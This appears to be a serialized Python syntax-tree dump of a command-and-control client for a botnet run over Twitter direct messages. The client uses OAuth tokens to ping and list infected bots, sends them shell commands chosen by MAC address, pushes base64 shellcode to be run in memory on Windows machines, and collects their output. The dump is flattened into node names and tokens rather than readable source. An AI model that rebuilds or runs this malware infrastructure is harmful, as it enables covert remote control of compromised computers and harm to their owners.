Module Import alias Import alias Import alias Import alias Import alias Import alias Import alias Assign NameStore Str Assign NameStore Str Assign NameStore Str Assign NameStore Str Assign NameStore Str Assign NameStore ListLoad Assign NameStore ListLoad Assign NameStore NameLoad ClassDef bases NameLoad body Expr Str FunctionDef arguments args NameParam NameParam NameParam defaults body Expr Call AttributeLoad NameLoad attr NameLoad NameLoad Assign AttributeStore NameLoad attr NameLoad decorator_list decorator_list ClassDef bases NameLoad body Expr Str decorator_list ClassDef bases body FunctionDef arguments args NameParam NameParam defaults body TryExcept body Assign NameStore Call AttributeLoad NameLoad attr Call AttributeLoad NameLoad attr NameLoad Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr SubscriptLoad NameLoad Index Str Assign AttributeStore NameLoad attr SubscriptLoad NameLoad Index Str Assign AttributeStore NameLoad attr SubscriptLoad NameLoad Index Str Assign AttributeStore NameLoad attr SubscriptLoad NameLoad Index Str Assign AttributeStore NameLoad attr SubscriptLoad NameLoad Index Str handlers ExceptHandler body Raise Call NameLoad BinOpMod Str NameLoad decorator_list FunctionDef arguments args NameParam defaults body Return AttributeLoad NameLoad attr decorator_list FunctionDef arguments args NameParam defaults body Return AttributeLoad NameLoad attr decorator_list FunctionDef arguments args NameParam defaults body Return AttributeLoad NameLoad attr decorator_list FunctionDef arguments args NameParam defaults body Return AttributeLoad NameLoad attr decorator_list FunctionDef arguments args NameParam defaults body Return AttributeLoad NameLoad attr decorator_list decorator_list ClassDef bases body FunctionDef arguments args NameParam NameParam NameParam NameParam defaults body Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr NameLoad Assign AttributeStore NameLoad attr Call AttributeLoad Str attr Call AttributeLoad NameLoad attr BinOpAdd AttributeLoad NameLoad attr AttributeLoad NameLoad attr Num decorator_list FunctionDef arguments args NameParam defaults body Assign NameStore Dict Str Str Str Str AttributeLoad NameLoad attr AttributeLoad NameLoad attr AttributeLoad NameLoad attr AttributeLoad NameLoad attr Return Call AttributeLoad NameLoad attr Call AttributeLoad NameLoad attr NameLoad decorator_list FunctionDef arguments args NameParam defaults body Return AttributeLoad NameLoad attr decorator_list decorator_list FunctionDef arguments args NameParam defaults NameLoad body Global identifier Global identifier If NameLoad body Assign NameStore ListLoad Print Str Assign NameStore Call NameLoad Str Str Str Assign NameStore Call AttributeLoad NameLoad attr Expr Call AttributeLoad NameLoad attr keyword NameLoad keyword Call AttributeLoad NameLoad attr Print Str Expr Call AttributeLoad NameLoad attr Num For NameStore Call AttributeLoad NameLoad attr keyword Num keyword Str body If CompareEq AttributeLoad NameLoad attr NameLoad body TryExcept body Assign NameStore Call NameLoad AttributeLoad NameLoad attr If BoolOpAnd NameLoad CompareEq Call AttributeLoad NameLoad attr NameLoad body Expr Call AttributeLoad NameLoad attr NameLoad orelse Expr Call AttributeLoad NameLoad attr NameLoad handlers ExceptHandler body Pass If NameLoad body Expr Call NameLoad decorator_list FunctionDef arguments args defaults body If CompareEq Call NameLoad NameLoad Num body Print Str Return For NameStore NameLoad body Print BinOpMod Str TupleLoad Call AttributeLoad NameLoad attr Call AttributeLoad NameLoad attr decorator_list FunctionDef arguments args defaults body If CompareEq Call NameLoad NameLoad Num body Print Str Return For NameStore NameLoad body Print BinOpMod Str TupleLoad Call AttributeLoad NameLoad attr Call AttributeLoad NameLoad attr Call AttributeLoad NameLoad attr decorator_list FunctionDef arguments args NameParam defaults body Expr Call NameLoad NameLoad For NameStore NameLoad body If CompareEq Call AttributeLoad NameLoad attr NameLoad body Print BinOpMod Str TupleLoad Call AttributeLoad NameLoad attr Call AttributeLoad NameLoad attr Return Print Str decorator_list FunctionDef arguments args defaults body Print Str decorator_list FunctionDef arguments args defaults body Global identifier Assign NameStore Call AttributeLoad NameLoad attr NameLoad NameLoad Expr Call AttributeLoad NameLoad attr NameLoad NameLoad Assign NameStore Call AttributeLoad NameLoad attr NameLoad Expr Call NameLoad While NameLoad body Assign NameStore Call NameLoad Str If CompareEq NameLoad Str body Expr Call NameLoad orelse If CompareEq NameLoad Str body Expr Call NameLoad orelse If CompareEq NameLoad Str body Expr Call NameLoad orelse If CompareEq NameLoad Str body Expr Call NameLoad orelse If CompareEq NameLoad Str body Expr Call AttributeLoad NameLoad attr Num orelse Assign NameStore Call AttributeLoad NameLoad attr Str If CompareEq SubscriptLoad NameLoad Index Num Str body Assign NameStore Call NameLoad Str SubscriptLoad NameLoad Index Num Call AttributeLoad Str attr SubscriptLoad NameLoad Slice Num Expr Call AttributeLoad NameLoad attr keyword NameLoad keyword Call AttributeLoad NameLoad attr Print BinOpMod Str TupleLoad Call AttributeLoad Str attr SubscriptLoad NameLoad Slice Num Call AttributeLoad NameLoad attr orelse If CompareEq SubscriptLoad NameLoad Index Num Str body Assign NameStore Call NameLoad Str SubscriptLoad NameLoad Index Num BinOpMod Str Call AttributeLoad NameLoad attr SubscriptLoad NameLoad Index Num Expr Call AttributeLoad NameLoad attr keyword NameLoad keyword Call AttributeLoad NameLoad attr Print BinOpMod Str Call AttributeLoad NameLoad attr orelse If CompareEq SubscriptLoad NameLoad Index Num Str body Expr Call NameLoad SubscriptLoad NameLoad Index Num orelse Print Str decorator_list If CompareEq NameLoad Str body Expr Call NameLoad
N/A N/A tweepy N/A base64 N/A json N/A random N/A string N/A time N/A sys N/A CONSUMER_TOKEN XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX N/A CONSUMER_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX N/A ACCESS_TOKEN XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX N/A ACCESS_TOKEN_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX N/A USERNAME XXXXXXXXXXXXXXXXXXXXXXXX N/A BOTS_ALIVE N/A N/A COMMANDS N/A N/A api None TwittorException N/A Exception N/A N/A 
        Base exception
     __init__ N/A N/A self message errors N/A N/A N/A N/A N/A Exception __init__ self message N/A N/A self errors errors N/A N/A DecodingException N/A TwittorException N/A N/A 
        Exception when trying to decode a CommandOutput
     N/A CommandOutput N/A N/A __init__ N/A N/A self message N/A N/A N/A N/A N/A data N/A N/A json loads N/A N/A base64 b64decode message N/A N/A self data data N/A N/A self sender N/A data N/A sender N/A N/A self receiver N/A data N/A receiver N/A N/A self output N/A data N/A output N/A N/A self cmd N/A data N/A cmd N/A N/A self jobid N/A data N/A jobid N/A N/A N/A N/A N/A DecodingException N/A Error decoding message: %s message N/A get_jobid N/A N/A self N/A N/A N/A N/A self jobid N/A get_sender N/A N/A self N/A N/A N/A N/A self sender N/A get_receiver N/A N/A self N/A N/A N/A N/A self receiver N/A get_cmd N/A N/A self N/A N/A N/A N/A self cmd N/A get_output N/A N/A self N/A N/A N/A N/A self output N/A N/A CommandToSend N/A N/A __init__ N/A N/A self sender receiver cmd N/A N/A N/A N/A self sender sender N/A N/A self receiver receiver N/A N/A self cmd cmd N/A N/A self jobid N/A N/A join N/A N/A random sample N/A N/A string ascii_letters N/A string digits 7 N/A build N/A N/A self N/A N/A N/A cmd N/A sender receiver cmd jobid N/A self sender N/A self receiver N/A self cmd N/A self jobid N/A N/A N/A base64 b64encode N/A N/A json dumps cmd N/A get_jobid N/A N/A self N/A N/A N/A N/A self jobid N/A N/A refresh N/A N/A refresh_bots N/A True N/A N/A BOTS_ALIVE N/A COMMANDS N/A refresh_bots N/A N/A BOTS_ALIVE N/A N/A [+] Sending command to retrieve alive bots N/A cmd N/A CommandToSend master w00tw00tw00t PING N/A jobid N/A N/A cmd get_jobid N/A N/A N/A api send_direct_message user USERNAME text N/A N/A cmd build N/A [+] Sleeping 10 secs to wait for bots N/A N/A N/A time sleep 10 N/A message N/A N/A api direct_messages count 200 full_text true N/A N/A N/A N/A message sender_screen_name USERNAME N/A N/A N/A N/A message N/A CommandOutput N/A message text N/A N/A refresh_bots N/A N/A N/A message get_jobid jobid N/A N/A N/A N/A BOTS_ALIVE append message N/A N/A N/A N/A COMMANDS append message N/A N/A N/A N/A N/A refresh_bots N/A N/A N/A list_bots N/A list_bots N/A N/A N/A N/A N/A N/A N/A len BOTS_ALIVE 0 N/A N/A [-] No bots alive N/A N/A bot BOTS_ALIVE N/A N/A N/A %s: %s N/A N/A N/A bot get_sender N/A N/A bot get_output N/A list_commands N/A N/A N/A N/A N/A N/A N/A len COMMANDS 0 N/A N/A [-] No commands loaded N/A N/A command COMMANDS N/A N/A N/A %s: '%s' on %s N/A N/A N/A command get_jobid N/A N/A command get_cmd N/A N/A command get_sender N/A retrieve_command N/A N/A id_command N/A N/A N/A N/A refresh False N/A command COMMANDS N/A N/A N/A N/A N/A command get_jobid id_command N/A N/A N/A %s: %s N/A N/A N/A command get_jobid N/A N/A command get_output N/A N/A [-] Did not manage to retrieve the output N/A help N/A N/A N/A N/A N/A 
    refresh - refresh C&C control
    list_bots - list active bots
    list_commands - list executed commands
    !retrieve <jobid> - retrieve jobid command
    !cmd <MAC ADDRESS> command - execute the command on the bot
    !shellcode <MAC ADDRESS> shellcode - load and execute shellcode in memory (Windows only)
    help - print this usage
    exit - exit the client
     N/A main N/A N/A N/A N/A N/A api N/A auth N/A N/A tweepy OAuthHandler CONSUMER_TOKEN CONSUMER_SECRET N/A N/A N/A auth set_access_token ACCESS_TOKEN ACCESS_TOKEN_SECRET N/A api N/A N/A tweepy API auth N/A N/A refresh N/A True N/A N/A cmd_to_launch N/A raw_input $  N/A N/A cmd_to_launch refresh N/A N/A N/A refresh N/A N/A N/A cmd_to_launch list_bots N/A N/A N/A list_bots N/A N/A N/A cmd_to_launch list_commands N/A N/A N/A list_commands N/A N/A N/A cmd_to_launch help N/A N/A N/A help N/A N/A N/A cmd_to_launch exit N/A N/A N/A N/A sys exit 0 N/A N/A cmd_to_launch N/A N/A cmd_to_launch split N/A N/A N/A cmd_to_launch N/A 0 !cmd N/A N/A cmd N/A CommandToSend master N/A cmd_to_launch N/A 1 N/A N/A join N/A cmd_to_launch N/A 2 N/A N/A N/A api send_direct_message user USERNAME text N/A N/A cmd build N/A N/A [+] Sent command "%s" with jobid: %s N/A N/A N/A join N/A cmd_to_launch N/A 2 N/A N/A cmd get_jobid N/A N/A N/A N/A cmd_to_launch N/A 0 !shellcode N/A N/A cmd N/A CommandToSend master N/A cmd_to_launch N/A 1 N/A shellcode %s N/A N/A base64 b64encode N/A cmd_to_launch N/A 2 N/A N/A N/A api send_direct_message user USERNAME text N/A N/A cmd build N/A N/A [+] Sent shellcode with jobid: %s N/A N/A cmd get_jobid N/A N/A N/A N/A cmd_to_launch N/A 0 !retrieve N/A N/A N/A retrieve_command N/A cmd_to_launch N/A 1 N/A N/A [!] Unrecognized command N/A N/A N/A __name__ __main__ N/A N/A N/A main